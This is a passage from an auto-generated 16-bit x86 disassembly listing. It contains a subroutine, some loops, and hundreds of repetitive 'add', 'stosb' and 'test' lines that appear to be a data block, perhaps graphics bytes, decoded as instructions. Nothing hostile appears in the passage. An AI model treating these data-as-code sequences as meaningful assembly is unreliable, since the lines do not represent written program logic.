  1317.         call    sub_0003
  1318.  
  1319.         mov    di,3040h
  1320.  
  1321. ;*        call    sub_0004        ;*
  1322.  
  1323.         db    0E8h, 57h, 00h
  1324.  
  1325.         loop    locloop_0019        ; Loop if cx > 0
  1326.  
  1327.  
  1328.  
  1329.         mov    cx,0FFFFh
  1330.  
  1331.  
  1332.  
  1333. locloop_0020:
  1334.  
  1335.         loop    locloop_0020        ; Loop if cx > 0
  1336.  
  1337.  
  1338.  
  1339.         mov    cx,0F6FFh
  1340.  
  1341.         daa                ; Decimal adjust
  1342.  
  1343.         sub    [bx+si],al
  1344.  
  1345.         add    [bp+si],al
  1346.  
  1347.         stosb                ; Store al to es:[di]
  1348.  
  1349.         test    al,0
  1350.  
  1351.         add    [bp+si-5556h],ch
  1352.  
  1353.         stosb                ; Store al to es:[di]
  1354.  
  1355.         stosb                ; Store al to es:[di]
  1356.  
  1357.         add    byte ptr [bx+si],0
  1358.  
  1359.         add    [bx+si],al
  1360.  
  1361.         add    [bx+si],al
  1362.  
  1363.         add    [bx+si],al
  1364.  
  1365.         add    [bx+si],al
  1366.  
  1367.         add    [bx+si],al
  1368.  
  1369.         add    [bx+si],al
  1370.  
  1371.         add    [bx+si],al
  1372.  
  1373.         add    [bx+si],al
  1374.  
  1375.         stosb                ; Store al to es:[di]
  1376.  
  1377.         test    al,0
  1378.  
  1379.  
  1380.  
  1381. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1382.  
  1383. ;                   SUBROUTINE
  1384.  
  1385. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1386.  
  1387.  
  1388.  
  1389. sub_0003    proc    near
  1390.  
  1391.         add    [bp+si],al
  1392.  
  1393.         stosb                ; Store al to es:[di]
  1394.  
  1395.         stosb                ; Store al to es:[di]
  1396.  
  1397.         add    byte ptr [bx+si],0
  1398.  
  1399.         add    [bx+si],al
  1400.  
  1401.         add    [bx+si],al
  1402.  
  1403.         add    [bx+si],al
  1404.  
  1405.         add    [bp+si],ch
  1406.  
  1407.         stosb                ; Store al to es:[di]
  1408.  
  1409.         stosb                ; Store al to es:[di]
  1410.  
  1411.         add    [bx+si],al
  1412.  
  1413.         add    [bp+si],cl
  1414.  
  1415.         stosb                ; Store al to es:[di]
  1416.  
  1417.         add    byte ptr [bx+si],0
  1418.  
  1419.         add    [bx+si],al
  1420.  
  1421.         add    [bx+si],al
  1422.  
  1423.         add    [bx+si],al
  1424.  
  1425.         add    [bx+si],al
  1426.  
  1427.         add    [bx+si],al
  1428.  
  1429.         add    [bp+si],ch
  1430.  
  1431.         stosb                ; Store al to es:[di]
  1432.  
  1433.         add    [bx+si],al
  1434.  
  1435.         add    [bp+si],ch
  1436.  
  1437.         stosb                ; Store al to es:[di]
  1438.  
  1439.         add    [bp+si],al
  1440.  
  1441.         stosb                ; Store al to es:[di]
  1442.  
  1443.         mov    al,ds:data_0033e
  1444.  
  1445.         stosb                ; Store al to es:[di]
  1446.  
  1447.         add    byte ptr [bx+si],0
  1448.  
  1449.         add    [bx+si],al
  1450.  
  1451.         add    [bx+si],al
  1452.  
  1453.         add    [bx+si],al
  1454.  
  1455.         add    [bx+si],al
  1456.  
  1457.         add    [bx+si],al
  1458.  
  1459.         add    [bx+si],al
  1460.  
  1461.         add    [bx+si],al
  1462.  
  1463.         add    [bx+si],al
  1464.  
  1465.         add    [bx+si],al
  1466.  
  1467.         add    [bx+si],al
  1468.  
  1469.         add    [bx+si],al
  1470.  
  1471.         add    [bx+si],al
  1472.  
  1473.         stosb                ; Store al to es:[di]
  1474.  
  1475.         test    al,0
  1476.  
  1477.         add    [bx+si],al
  1478.  
  1479.         or    ch,[bp+si+0A0h]
  1480.  
  1481.         add    [bx+si],al
  1482.  
  1483.         add    [bx+si],al
  1484.  
  1485.         add    [bx+si],al
  1486.  
  1487.         add    [bx+si],al
  1488.  
  1489.         or    ch,[bp+si-5F56h]
  1490.  
  1491.         add    [bx+si],al
  1492.  
  1493.         or    ch,[bp+si+80h]
  1494.  
  1495.         add    [bx+si],al
  1496.  
  1497.         add    [bx+si],al
  1498.  
  1499.         add    [bx+si],al
  1500.  
  1501.         add    ch,[bp+si+0AAh]
  1502.  
  1503.         add    [bx+si],al
  1504.  
  1505.         sub    ch,[bp+si+0]
  1506.  
  1507.         nop                ;*ASM fixup - displacement
  1508.  
  1509.         nop                ;*ASM fixup - sign extn byte
  1510.  
  1511.         add    [bp+si],ch
  1512.  
  1513.         stosb                ; Store al to es:[di]
  1514.  
  1515.         add    [bp+si],al
  1516.  
  1517.         stosb                ; Store al to es:[di]
  1518.  
  1519.         mov    al,ds:data_0033e
  1520.  
  1521.         sub    al,[bx+si]
  1522.  
  1523.         add    [bp+si],ch
  1524.  
  1525.         stosb                ; Store al to es:[di]
  1526.  
  1527.         stosb                ; Store al to es:[di]
  1528.  
  1529.         stosb                ; Store al to es:[di]
  1530.  
  1531.         stosb                ; Store al to es:[di]
  1532.  
  1533.         stosb                ; Store al to es:[di]
  1534.  
  1535.         stosb                ; Store al to es:[di]
  1536.  
  1537.         stosb                ; Store al to es:[di]
  1538.  
  1539.         stosb                ; Store al to es:[di]
  1540.  
  1541.         add    [bx+si],al
  1542.  
  1543.         add    [bx+si],al
  1544.  
  1545.         add    [bx+si],al
  1546.  
  1547.         add    [bx+si],al
  1548.  
  1549.         add    [bx+si],al
  1550.  
  1551.         add    [bx+si],al
  1552.  
  1553.         add    [bx+si],al
  1554.  
  1555.         add    [bx+si],al
  1556.  
  1557.         stosb                ; Store al to es:[di]
  1558.  
  1559.         test    al,0
  1560.  
  1561.         add    [bx+si],al
  1562.  
  1563.         add    [bp+si+0A8h],ch
  1564.  
  1565.         add    [bx+si],al
  1566.  
  1567.         add    [bx+si],al
  1568.  
  1569.         add    [bx+si],al
  1570.  
  1571.         add    [bx+si],al
  1572.  
  1573.         add    [bp+si],ch
  1574.  
  1575.         stosb                ; Store al to es:[di]
  1576.  
  1577.         stosb                ; Store al to es:[di]
  1578.  
  1579.         add    byte ptr [bx+si],0Ah
  1580.  
  1581.         stosb                ; Store al to es:[di]
  1582.  
  1583.         add    byte ptr [bx+si],0
  1584.  
  1585.         add    [bx+si],al
  1586.  
  1587.         add    [bx+si],al
  1588.  
  1589.         add    [bp+si],ch
  1590.  
  1591.         stosb                ; Store al to es:[di]
  1592.  
  1593.         mov    al,ds:data_0033e
  1594.  
  1595.         add    [bp+si],ch
  1596.  
  1597.         stosb                ; Store al to es:[di]
  1598.  
  1599.         add    [bx+si],al
  1600.  
  1601.         add    [bp+si],ch
  1602.  
  1603.         stosb                ; Store al to es:[di]
  1604.  
  1605.         add    [bp+si],al
  1606.  
  1607.         stosb                ; Store al to es:[di]
  1608.  
  1609.         mov    al,ds:data_0179e
  1610.  
  1611.         add    [bx+si],al
  1612.  
  1613.         add    [bp+si-5756h],ch
  1614.  
  1615.         add    [bx+si],al
  1616.  
  1617.         add    [bx+si],al
  1618.  
  1619.         add    [bx+si],al
  1620.  
  1621.         add    [bx+si],al
  1622.  
  1623.         add    [bx+si],al
  1624.  
  1625.         add    [bx+si],al
  1626.  
  1627.         add    [bx+si],al
  1628.  
  1629.         add    [bx+si],al
  1630.  
  1631.         add    [bx+si],al
  1632.  
  1633.         add    [bx+si],al
  1634.  
  1635.         add    [bx+si],al
  1636.  
  1637.         stosb                ; Store al to es:[di]
  1638.  
  1639.         test    al,0
  1640.  
  1641.         add    [bx+si],al
  1642.  
  1643.         add    [bp+si],ch
  1644.  
  1645.         stosb                ; Store al to es:[di]
  1646.  
  1647.         add    [bp+si],cl
  1648.  
  1649.         stosb                ; Store al to es:[di]
  1650.  
  1651.         stosb                ; Store al to es:[di]
  1652.  
  1653.         stosb                ; Store al to es:[di]
  1654.  
  1655.         stosb                ; Store al to es:[di]
  1656.  
  1657.         stosb                ; Store al to es:[di]
  1658.  
  1659.         mov    al,ds:data_0158e
  1660.  
  1661.         add    [bp+si-5556h],ch
  1662.  
  1663.         add    [bp+si],cl
  1664.  
  1665.         stosb                ; Store al to es:[di]
  1666.  
  1667.         add    byte ptr [bx+si],0
  1668.  
  1669.         add    [bx+si],al
  1670.  
  1671.         add    [bx+si],al
  1672.  
  1673.         add    [bp+si-7F56h],ch
  1674.  
  1675.         add    [bx+si],al
  1676.  
  1677.         add    [bp+si],ch
  1678.  
  1679.         stosb                ; Store al to es:[di]
  1680.  
  1681.         add    [bx+si],al
  1682.  
  1683.         add    [bp+si],ch
  1684.  
  1685.         stosb                ; Store al to es:[di]
  1686.  
  1687.         add    [bp+si],al
  1688.  
  1689.         stosb                ; Store al to es:[di]
  1690.  
  1691.         mov    al,ds:data_0181e
  1692.  
  1693.         add    [bx+si],al
  1694.  
  1695.         add    [bx+si],al
  1696.  
  1697.         add    [bx+si],al
  1698.  
  1699.         add    [bx+si],al
  1700.  
  1701.         add    [bx+si],al
  1702.  
  1703.         add    [bx+si],al
  1704.  
  1705.         add    [bx+si],al
  1706.  
  1707.         add    [bx+si],al
  1708.  
  1709.         add    [bx+si],al
  1710.  
  1711.         add    [bx+si],al
  1712.  
  1713.         add    [bx+si],al
  1714.  
  1715.         add    [bx+si],al
  1716.  
  1717.         add    [bx+si],al
  1718.  
  1719.         add    [bx+si],al
  1720.  
  1721.         stosb                ; Store al to es:[di]
  1722.  
  1723.         test    al,0
  1724.  
  1725.         add    [bx+si],al
  1726.  
  1727.         add    [bp+si],ch
  1728.  
  1729.         stosb                ; Store al to es:[di]
  1730.  
  1731.         add    [bp+si],cl
  1732.  
  1733.         stosb                ; Store al to es:[di]
  1734.  
  1735.         stosb                ; Store al to es:[di]
  1736.  
  1737.         stosb                ; Store al to es:[di]
  1738.  
  1739.         stosb                ; Store al to es:[di]
  1740.  
  1741.         stosb                ; Store al to es:[di]
  1742.  
  1743.         mov    al,ds:data_0161e
  1744.  
  1745.         add    [bp+si],al
  1746.  
  1747.         stosb                ; Store al to es:[di]
  1748.  
  1749.         stosb                ; Store al to es:[di]
  1750.  
  1751.         test    al,0Ah
  1752.  
  1753.         stosb                ; Store al to es:[di]
  1754.  
  1755.         add    byte ptr [bx+si],0
  1756.  
  1757.         add    [bx+si],al
  1758.  
  1759.         add    [bx+si],al
  1760.  
  1761.         or    ch,[bp+si+0A8h]
  1762.  
  1763.         add    [bx+si],al
  1764.  
  1765.         add    [bp+si],ch
  1766.  
  1767.         stosb                ; Store al to es:[di]
  1768.  
  1769.         add    [bx+si],al
  1770.  
  1771.         add    [bp+si],ch
  1772.  
  1773.         stosb                ; Store al to es:[di]
  1774.  
  1775.         add    [bp+si],al
  1776.  
  1777.         stosb                ; Store al to es:[di]
  1778.  
  1779.         mov    al,ds:data_0186e
  1780.  
  1781.         add    [bx+si],al
  1782.  
  1783.         add    [bp+si-5556h],ch
  1784.  
  1785.         stosb                ; Store al to es:[di]
  1786.  
  1787.         stosb                ; Store al to es:[di]
  1788.  
  1789.         stosb                ; Store al to es:[di]
  1790.  
  1791.         test    al,0
  1792.  
  1793.         add    [bx+si],al
  1794.  
  1795.         add    [bx+si],al
  1796.  
  1797.         add    [bx+si],al
  1798.  
  1799.         add    [bx+si],al
  1800.  
  1801.         add    [bx+si],al
  1802.  
  1803.         add    [bx+si],al
  1804.  
  1805.         add    [bx+si],al
  1806.  
  1807.         add    [bx+si],al
  1808.  
  1809.         add    [bp+si+0A8h],ch
  1810.  
  1811.         add    [bx+si],al
  1812.  
  1813.         add    [bp+si],ch
  1814.  
  1815.         stosb                ; Store al to es:[di]
  1816.  
  1817.         add    [bp+si],cl
  1818.  
  1819.         stosb                ; Store al to es:[di]
  1820.  
  1821.         stosb                ; Store al to es:[di]
  1822.  
  1823.         stosb                ; Store al to es:[di]
  1824.  
  1825.         stosb                ; Store al to es:[di]
  1826.  
  1827.         stosb                ; Store al to es:[di]
  1828.  
  1829.         mov    al,ds:data_0161e
  1830.  
  1831.         test    al,0
  1832.  
  1833.         or    ch,[bp+si-5556h]
  1834.  
  1835.         stosb                ; Store al to es:[di]
  1836.  
  1837.         add    byte ptr [bx+si],0
  1838.  
  1839.         add    [bx+si],al
  1840.  
  1841.         add    [bx+si],al
  1842.  
  1843.         stosb                ; Store al to es:[di]
  1844.  
  1845.         stosb                ; Store al to es:[di]
  1846.  
  1847.         add    byte ptr [bx+si],0
  1848.  
  1849.         add    [bx+si],al
  1850.  
  1851.         sub    ch,[bp+si+0]
  1852.  
  1853.         nop                ;*ASM fixup - displacement
  1854.  
  1855.         nop                ;*ASM fixup - sign extn byte
  1856.  
  1857.         add    [bp+si],ch
  1858.  
  1859.         stosb                ; Store al to es:[di]
  1860.  
  1861.         add    [bp+si],al
  1862.  
  1863.         stosb                ; Store al to es:[di]
  1864.  
  1865.         mov    al,ds:data_0185e
  1866.  
  1867.         add    byte ptr [bx+si],0
  1868.  
  1869.         add    [bx+si],al
  1870.  
  1871.         add    [bx+si],al
  1872.  
  1873.         add    [bx+si],al
  1874.  
  1875.         add    [bx+si],al
  1876.  
  1877.         add    [bx+si],al
  1878.  
  1879.         add    [bx+si],al
  1880.  
  1881.         add    [bx+si],al
  1882.  
  1883.         add    [bx+si],al
  1884.  
  1885.         add    [bx+si],al
  1886.  
  1887.         add    [bx+si],al
  1888.  
  1889.         add    [bx+si],al
  1890.  
  1891.         add    [bx+si],al
  1892.  
  1893.         add    [bp+si+0A8h],ch
  1894.  
  1895.         mul    byte ptr ds:data_0035e    ; ax = data * al
  1896.  
  1897.         add    [bx+si],al
  1898.  
  1899.         add    [bx+si],al
  1900.  
  1901.         sub    ch,[bp+si-5556h]
  1902.  
  1903.         stosb                ; Store al to es:[di]
  1904.  
  1905.         stosb                ; Store al to es:[di]
  1906.  
  1907.         stosb                ; Store al to es:[di]
  1908.  
  1909.         mov    al,byte ptr data_0041+40h    ; (' ')
  1910.  
  1911.         stosb                ; Store al to es:[di]
  1912.  
  1913.         stosb                ; Store al to es:[di]
  1914.  
  1915.         add    [bp+si],ch
  1916.  
  1917.         stosb                ; Store al to es:[di]
  1918.  
  1919.         mov    al,byte ptr data_0041+40h    ; (' ')
  1920.  
  1921.         stosb                ; Store al to es:[di]
  1922.  
  1923.         mov    al,byte ptr data_0041+40h    ; (' ')
  1924.  
  1925.         stosb                ; Store al to es:[di]
  1926.  
  1927.         test    al,0
  1928.  
  1929.         add    [bp+si],cl
  1930.  
  1931.         stosb                ; Store al to es:[di]
  1932.  
  1933.         mov    al,ds:data_0033e
  1934.  
  1935.         add    [bx+si],al
  1936.  
  1937.         add    [bx+si],al
  1938.  
  1939.         add    [bx+si],al
  1940.  
  1941.         add    [bx+si],al
  1942.  
  1943.         add    [bx+si],al
  1944.  
  1945.         add    [bx+si],al
  1946.  
  1947.         add    [bx+si],al
  1948.  
  1949.         add    [bx+si],al
  1950.  
  1951.         add    [bx+si],al
  1952.  
  1953.         add    [bp+si+0A8h],ch
  1954.  
  1955.         stosb                ; Store al to es:[di]
  1956.  
  1957.         stosb                ; Store al to es:[di]
  1958.  
  1959.         test    al,0
  1960.  
  1961.         add    [bx+si],al
  1962.  
  1963.         or    ch,[bp+si-5556h]
  1964.  
  1965.         stosb                ; Store al to es:[di]
  1966.  
  1967.         stosb                ; Store al to es:[di]
  1968.  
  1969.         mov    al,ds:data_0161e
  1970.  
  1971.         stosb                ; Store al to es:[di]
  1972.  
  1973.         add    [bx+si],al
  1974.  
  1975.         add    [bx+si],al
  1976.  
  1977.         add    [bp+si],ch
  1978.  
  1979.         add    byte ptr [bx+si],0
  1980.  
  1981.         add    [bx+si],al
  1982.  
  1983.         stosb                ; Store al to es:[di]
  1984.  
  1985.         stosb                ; Store al to es:[di]
  1986.  
  1987.         stosb                ; Store al to es:[di]
  1988.  
  1989.         stosb                ; Store al to es:[di]
  1990.  
  1991.         stosb                ; Store al to es:[di]
  1992.  
  1993.         stosb                ; Store al to es:[di]
  1994.  
  1995.         stosb                ; Store al to es:[di]
  1996.  
  1997.         mov    al,ds:data_0033e
  1998.  
  1999.         sub    ch,[bp+si+2A00h]
  2000.  
  2001.         stosb                ; Store al to es:[di]
  2002.  
  2003.         add    [bx+si],al
  2004.  
  2005.         add    ch,[bp+si+0A0h]
  2006.  
  2007.         add    [bp+si],ch
  2008.  
  2009.         stosb                ; Store al to es:[di]
  2010.  
  2011.         add    byte ptr [bx+si],0
  2012.  
  2013.         add    [bx+si],al
  2014.  
  2015.         add    [bx+si],al
  2016.  
  2017.         add    [bx+si],al
  2018.  
  2019.         add    [bx+si],al
  2020.  
  2021.         add    [bx+si],al
  2022.  
  2023.         add    [bx+si],al
  2024.  
  2025.         add    [bx+si],al
  2026.  
  2027.         add    [bx+si],al
  2028.  
  2029.         add    [bx+si],al
  2030.  
  2031.         add    [bx+si],al
  2032.  
  2033.         add    [bx+si],al
  2034.  
  2035.         add    [bp+si+0A8h],ch
  2036.  
  2037.         stosb                ; Store al to es:[di]
  2038.  
  2039.         mov    al,ds:data_0033e
  2040.  
  2041.         add    [bx+si],al
  2042.  
  2043.         or    ch,[bp+si-5556h]
  2044.  
  2045.         stosb                ; Store al to es:[di]
  2046.  
  2047.         stosb                ; Store al to es:[di]
  2048.  
  2049.         mov    al,ds:data_0161e
  2050.  
  2051.         stosb                ; Store al to es:[di]
  2052.  
  2053.         add    [bx+si],al
  2054.  
  2055.         add    [bx+si],al
  2056.  
  2057.         add    [bx+si],al
  2058.  
  2059.         add    byte ptr [bx+si],0
  2060.  
  2061.         add    [bp+si],cl
  2062.  
  2063.         stosb                ; Store al to es:[di]
  2064.  
  2065.         stosb                ; Store al to es:[di]
  2066.  
  2067.         stosb                ; Store al to es:[di]
  2068.  
  2069.         stosb                ; Store al to es:[di]
  2070.  
  2071.         stosb                ; Store al to es:[di]
  2072.  
  2073.         stosb                ; Store al to es:[di]
  2074.  
  2075.         stosb                ; Store al to es:[di]
  2076.  
  2077.         mov    al,ds:data_0033e
  2078.  
  2079.         add    [bp+si],ch
  2080.  
  2081.         add    [bp+si],ch
  2082.  
  2083.         add    [bx+si],al
  2084.  
  2085.         add    [bp+si],al
  2086.  
  2087.         stosb                ; Store al to es:[di]
  2088.  
  2089.         mov    al,ds:data_0033e
  2090.  
  2091.         or    ch,[bp+si+0A0h]
  2092.  
  2093.         add    [bx+si],al
  2094.  
  2095.         or    ch,[bx+si+0]
  2096.  
  2097.         nop                ;*ASM fixup - displacement
  2098.  
  2099.         nop                ;*ASM fixup - sign extn byte
  2100.  
  2101.         add    [bx+si],al
  2102.  
  2103.         add    [bx+si],al
  2104.  
  2105.         add    [bx+si],al
  2106.  
  2107.         add    [bx+si],al
  2108.  
  2109.         add    [bx+si],al
  2110.  
  2111.         add    [bx+si],al
  2112.  
  2113.         add    [bx+si],al
  2114.  
  2115.         add    [bx+si],al
  2116.  
  2117.         add    [bx+si],al
  2118.  
  2119.         add    [bx+si],al
  2120.  
  2121.         add    [bx+si],al
  2122.  
  2123.         add    [bx+si],al
  2124.  
  2125.         add    [bx+si],al
  2126.  
  2127.         add    [bx+si],al
  2128.  
  2129.         add    [bx+si],al
  2130.  
  2131.         add    [bx+si],al
  2132.  
  2133.         add    [bx+si],al
  2134.  
  2135.         add    [bx+si],al
  2136.  
  2137.         add    [bx+si],al
  2138.  
  2139.         add    [bx+si],al
  2140.  
  2141.         add    [bx+si],al
  2142.  
  2143.         add    [bx+si],al
  2144.  
  2145.         add    [bx+si],al
  2146.  
  2147.         add    [bx+si],al
  2148.  
  2149.         add    [bx+si],al
  2150.  
  2151.         add    [bx+si],al
  2152.  
  2153.         add    [bx+si],al
  2154.  
  2155.         add    [bx+si],al
  2156.  
  2157.         add    [bx+si],al
  2158.  
  2159.         add    [bx+si],al
  2160.  
  2161.         add    [bx+si],al
  2162.  
  2163.         add    [bx+si],al
  2164.  
  2165.         add    [bx+si],al
  2166.  
  2167.         add    [bx+si],al
  2168.  
  2169.         add    [bx+si],al
  2170.  
  2171.         add    [bx+si],al
  2172.  
  2173.         add    [bx+si],al
  2174.  
  2175.         add    [bx+si],al
  2176.  
  2177.         add    [bx+si],al
  2178.  
  2179.         add    [bx+si],al
  2180.  
  2181.         add    [bx+si],al
  2182.  
  2183.         add    [bx+si],al
  2184.  
  2185.         or    ch,[bp+si+0A8h]
  2186.  
  2187.         add    [bx+si],al
  2188.  
  2189.         add    [bx+si],al
  2190.  
  2191.         add    [bx+si],al
  2192.  
  2193.         add    [bx+si],al
  2194.  
  2195.         add    [bx+si],al
  2196.  
  2197.         add    [bx+si],al
  2198.  
  2199.         add    [bx+si],al
  2200.  
  2201.         add    [bx+si],al
  2202.  
  2203.         add    [bx+si],al
  2204.  
  2205.         stosb                ; Store al to es:[di]
  2206.  
  2207.         test    al,0
  2208.  
  2209.         stosb                ; Store al to es:[di]
  2210.  
  2211.         stosb                ; Store al to es:[di]
  2212.  
  2213.         add    byte ptr [bx+si],0
  2214.  
  2215.         add    [bp+si],cl
  2216.  
  2217.         stosb                ; Store al to es:[di]
  2218.  
  2219.         stosb                ; Store al to es:[di]
  2220.  
  2221.         stosb                ; Store al to es:[di]
  2222.  
  2223.         stosb                ; Store al to es:[di]
  2224.  
  2225.         stosb                ; Store al to es:[di]
  2226.  
  2227.         mov    al,byte ptr ds:[2800h]
  2228.  
  2229.         add    [bx+si],al
  2230.  
  2231.         add    [bx+si],al
  2232.  
  2233.         add    [bp+si],cl
  2234.  
  2235.         stosb                ; Store al to es:[di]
  2236.  
  2237.         add    byte ptr [bx+si],0
  2238.  
  2239.         add    [bp+si],al
  2240.  
  2241.         stosb                ; Store al to es:[di]
  2242.  
  2243.         stosb                ; Store al to es:[di]
  2244.  
  2245.         stosb                ; Store al to es:[di]
  2246.  
  2247.         stosb                ; Store al to es:[di]
  2248.  
  2249.         stosb                ; Store al to es:[di]
  2250.  
  2251.         stosb                ; Store al to es:[di]
  2252.  
  2253.         stosb                ; Store al to es:[di]
  2254.  
  2255.         mov    al,ds:data_0161e
  2256.  
  2257.         stosb                ; Store al to es:[di]
  2258.  
  2259.         add    [bx+si],al
  2260.  
  2261.         add    [bp+si],ch
  2262.  
  2263.         stosb                ; Store al to es:[di]
  2264.  
  2265.         add    [bp+si],al
  2266.  
  2267.         stosb                ; Store al to es:[di]
  2268.  
  2269.         mov    al,ds:data_0033e
  2270.  
  2271.         or    ch,[bp+si+0A0h]
  2272.  
  2273.         add    [bp+si],ch
  2274.  
  2275.         stosb                ; Store al to es:[di]
  2276.  
  2277.         add    [bx+si],al
  2278.  
  2279.         add    [bx+si],al
  2280.  
  2281.         add    [bx+si],al
  2282.  
  2283.         add    [bx+si],al
  2284.  
  2285.         add    [bx+si],al
  2286.  
  2287.         add    [bx+si],al
  2288.  
  2289.         add    [bx+si],al
  2290.  
  2291.         add    [bx+si],al
  2292.  
  2293.         add    [bx+si],al
  2294.  
  2295.         add    [bx+si],al
  2296.  
  2297.         add    [bp+si+0A8h],ch
  2298.  
  2299.         stosb                ; Store al to es:[di]
  2300.  
  2301.         stosb                ; Store al to es:[di]
  2302.  
  2303.         stosb                ; Store al to es:[di]
  2304.  
  2305.         add    byte ptr [bx+si],0
  2306.  
  2307.         or    ch,[bp+si-5556h]
  2308.  
  2309.         stosb                ; Store al to es:[di]
  2310.  
  2311.         stosb                ; Store al to es:[di]
  2312.  
  2313.         mov    al,ds:data_0161e
  2314.  
  2315.         mov    al,ds:data_0033e
  2316.  
  2317.         add    [bx+si],al
  2318.  
  2319.         or    ch,[bp+si+80h]
  2320.  
  2321.         add    [bx+si],al
  2322.  
  2323.         add    ch,[bp+si-5556h]
  2324.  
  2325.         stosb                ; Store al to es:[di]
  2326.  
  2327.         stosb                ; Store al to es:[di]
  2328.  
  2329.         stosb                ; Store al to es:[di]
  2330.  
  2331.         stosb                ; Store al to es:[di]
  2332.  
  2333.         add    byte ptr [bx+si],2Ah    ; '*'
  2334.  
  2335.         stosb                ; Store al to es:[di]
  2336.  
  2337.         add    [bx+si],al
  2338.  
  2339.         add    [bp+si],ch
  2340.  
  2341.         stosb                ; Store al to es:[di]
  2342.  
  2343.         add    [bp+si],al
  2344.  
  2345.         stosb                ; Store al to es:[di]
  2346.  
  2347.         mov    al,ds:data_0033e
  2348.  
  2349.         stosb                ; Store al to es:[di]
  2350.  
  2351.         stosb                ; Store al to es:[di]
  2352.  
  2353.         add    [bx+si],al
  2354.  
  2355.         add    [bx+si],al
  2356.  
  2357.         add    [bx+si],al
  2358.  
  2359.         add    [bx+si],al
  2360.  
  2361.         add    [bx+si],al
  2362.  
  2363.         add    [bx+si],al
  2364.  
  2365.         add    [bx+si],al
  2366.  
  2367.         add    [bx+si],al
  2368.  
  2369.         add    [bx+si],al
  2370.  
  2371.         add    [bx+si],al
  2372.  
  2373.         add    [bx+si],al
  2374.  
  2375.         add    [bx+si],al
  2376.  
  2377.         add    [bx+si],al
  2378.  
  2379.         stosb                ; Store al to es:[di]
  2380.  
  2381.         test    al,0
  2382.  
  2383.         stosb                ; Store al to es:[di]
  2384.  
  2385.         stosb                ; Store al to es:[di]
  2386.  
  2387.         stosb                ; Store al to es:[di]
  2388.  
  2389.         test    al,0
  2390.  
  2391.         add    [bp+si],cl
  2392.  
  2393.         stosb                ; Store al to es:[di]
  2394.  
  2395.         stosb                ; Store al to es:[di]
  2396.  
  2397.         stosb                ; Store al to es:[di]
  2398.  
  2399.         stosb                ; Store al to es:[di]
  2400.  
  2401.         stosb                ; Store al to es:[di]
  2402.  
  2403.         mov    al,ds:data_0161e
  2404.  
  2405.         stosb                ; Store al to es:[di]
  2406.  
  2407.         add    byte ptr [bx+si],0
  2408.  
  2409.         add    [bp+si],cl
  2410.  
  2411.         stosb                ; Store al to es:[di]
  2412.  
  2413.         add    byte ptr [bx+si],0
  2414.  
  2415.         add    [bp+si],al
  2416.  
  2417.         stosb                ; Store al to es:[di]
  2418.  
  2419.         stosb                ; Store al to es:[di]
  2420.  
  2421.         stosb                ; Store al to es:[di]
  2422.  
  2423.         stosb                ; Store al to es:[di]
  2424.  
  2425.         stosb                ; Store al to es:[di]
  2426.  
  2427.         stosb                ; Store al to es:[di]
  2428.  
  2429.         test    al,0
  2430.  
  2431.         add    [bp+si],ch
  2432.  
  2433.         stosb                ; Store al to es:[di]
  2434.  
  2435.         add    [bx+si],al
  2436.  
  2437.         add    [bp+si],ch
  2438.  
  2439.         stosb                ; Store al to es:[di]
  2440.  
  2441.         add    [bp+si],al
  2442.  
  2443.         stosb                ; Store al to es:[di]
  2444.  
  2445.         mov    al,byte ptr ds:[0F600h]
  2446.  
  2447.         and    ax,28h
  2448.  
  2449.         add    [bx+si],al
  2450.  
  2451.         add    [bx+si],al
  2452.  
  2453.         add    [bx+si],al
  2454.  
  2455.         stosb                ; Store al to es:[di]
  2456.  
  2457.         test    al,0
  2458.  
  2459.         add    [bx+si],al
  2460.  
  2461.         add    [bp+si],ch
  2462.  
  2463.         stosb                ; Store al to es:[di]
  2464.  
  2465.         add    [bp+si],cl
  2466.  
  2467.         stosb                ; Store al to es:[di]
  2468.  
  2469.         stosb                ; Store al to es:[di]
  2470.  
  2471.         stosb                ; Store al to es:[di]
  2472.  
  2473.         stosb                ; Store al to es:[di]
  2474.  
  2475.         stosb                ; Store al to es:[di]
  2476.  
  2477.         mov    al,byte ptr ds:[2800h]
  2478.  
  2479.         add    [bp+si],ch
  2480.  
  2481.         stosb                ; Store al to es:[di]
  2482.  
  2483.         stosb                ; Store al to es:[di]
  2484.  
  2485.         mov    al,byte ptr ds:[0AA0Ah]
  2486.  
  2487.         add    byte ptr [bx+si],0
  2488.  
  2489.         add    [bx+si],al
  2490.  
  2491.         add    [bx+si],al
  2492.  
  2493.         add    ch,[bp+si+0AAh]
  2494.  
  2495.         add    [bx+si],al
  2496.  
  2497.         add    [bp+si],ch
  2498.  
  2499.         stosb                ; Store al to es:[di]
  2500.  
  2501.         add    [bx+si],al
  2502.  
  2503.         add    [bp+si],ch
  2504.  
  2505.         stosb                ; Store al to es:[di]
  2506.  
  2507.         add    [bp+si],al
  2508.  
  2509.         stosb                ; Store al to es:[di]
  2510.  
  2511.         mov    al,ds:data_0181e
  2512.  
  2513.         add    [bx+si],al
  2514.  
  2515.         add    [bp+si-5556h],ch
  2516.  
  2517.         stosb                ; Store al to es:[di]
  2518.  
  2519.         stosb                ; Store al to es:[di]
  2520.  
  2521.         stosb                ; Store al to es:[di]
  2522.  
  2523.         stosb                ; Store al to es:[di]
  2524.  
  2525.         stosb                ; Store al to es:[di]
  2526.  
  2527.         stosb                ; Store al to es:[di]
  2528.  
  2529.         add    byte ptr [bx+si],0
  2530.  
  2531.         add    [bx+si],al
  2532.  
  2533.         add    [bx+si],al
  2534.  
  2535.         add    [bx+si],al
  2536.  
  2537.         add    [bx+si],al
  2538.  
  2539.         add    [bx+si],al
  2540.  
  2541.         add    [bx+si],al
  2542.  
  2543.         add    [bp+si+0A8h],ch
  2544.  
  2545.         add    [bx+si],al
  2546.  
  2547.         add    [bp+si],ch
  2548.  
  2549.         stosb                ; Store al to es:[di]
  2550.  
  2551.         add    [bp+si],cl
  2552.  
  2553.         stosb                ; Store al to es:[di]
  2554.  
  2555.         stosb                ; Store al to es:[di]
  2556.  
  2557.         stosb                ; Store al to es:[di]
  2558.  
  2559.         stosb                ; Store al to es:[di]
  2560.  
